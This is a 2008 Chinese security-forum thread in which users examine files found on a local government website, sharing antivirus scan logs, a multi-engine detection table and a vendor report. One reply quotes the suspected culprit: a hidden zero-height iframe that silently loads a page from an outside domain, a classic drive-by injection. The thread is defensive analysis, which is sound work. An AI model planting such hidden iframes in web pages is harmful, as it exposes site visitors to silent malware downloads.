大家帮忙来分析这是什么

edelweiss2782

上我们当地的政府网站发现的，可是用了几个其他的绿色杀软都没报，大家帮忙来分析这是什么

fzz8848

Begin scan in 'C:\Documents and Settings\Andy\桌面\新建文件夹.rar'
C:\Documents and Settings\Andy\桌面\新建文件夹.rar
    [0] Archive type: RAR
发表帖    --> ￐ￂﾽﾨￎￄﾼ?ﾼ￐\banner[1].swf
      [DETECTION] Contains recognition pattern of the HTML/FlashFrame.Gen HTML script virus
子[完成后可按    --> ￐ￂﾽﾨￎￄﾼ?ﾼ￐\db[1].jpg
      [DETECTION] Contains recognition pattern of the HTML/Downloader.Gen HTML script virus
    [NOTE]      The file was deleted!

edelweiss2782

在沙盘里运行之后没有发现异常，怎么回事，除了用红伞的，有没有其他的杀软看看

ghj89100062

不是病毒

qianwenxiang

1. 
   
2. <iframe src=http://w.mh8888.cn/ad.htm?a width=100 height=0 frameborder=0></iframe>
   

复制代码

红伞报的应该是这个 (mh8888.cn > 域名过期)

Ghoenix

反病毒引擎	版本	最后更新	扫描结果
AhnLab-V3	2008.8.29.0	2008.08.28	-
AntiVir	7.8.1.23	2008.08.28	HTML/FlashFrame.Gen
Authentium	5.1.0.4	2008.08.28	HTML/Iframe.A!Camelot
Avast	4.8.1195.0	2008.08.27	Multi:BinaryIframe
AVG	8.0.0.161	2008.08.28	-
BitDefender	7.2	2008.08.28	-
CAT-QuickHeal	9.50	2008.08.26	-
ClamAV	0.93.1	2008.08.28	-
eSafe	7.0.17.0	2008.08.27	-
eTrust-Vet	31.6.6054	2008.08.28	-
Ewido	4.0	2008.08.28	-
F-Prot	4.4.4.56	2008.08.28	-
F-Secure	7.60.13501.0	2008.08.28	-
Fortinet	3.14.0.0	2008.08.28	-
GData	19	2008.08.28	Multi:BinaryIframe
Ikarus	T3.1.1.34.0	2008.08.28	-
K7AntiVirus	7.10.428	2008.08.25	-
Kaspersky	7.0.0.125	2008.08.28	-
McAfee	5371	2008.08.27	-
Microsoft	1.3807	2008.08.25	-
NOD32v2	3395	2008.08.28	-
Norman	5.80.02	2008.08.28	-
Panda	9.0.0.4	2008.08.27	-
PCTools	4.4.2.0	2008.08.28	-
Prevx1	V2	2008.08.28	-
Rising	20.59.31.00	2008.08.28	Hack.Exploit.Win32.HTML.Iframe.fio
Sophos	4.33.0	2008.08.28	-
Sunbelt	3.1.1582.1	2008.08.26	-
Symantec	10	2008.08.28	-
TheHacker	6.3.0.6.064	2008.08.27	-
TrendMicro	8.700.0.1004	2008.08.28	TROJ_IFRAME.CP
ViRobot	2008.8.28.1353	2008.08.28	-
VirusBuster	4.5.11.0	2008.08.27	-
Webwasher-Gateway	6.6.2	2008.08.28	Script.FlashFrame.Gen

qigang

瑞星病毒查杀结果报告

清除病毒种类列表：

病毒： Hack.Exploit.Win32.HTML.Iframe.fio

MAC 地址：00:11:5B:F3:6D:69

用户来源：互联网

软件版本：20.59.32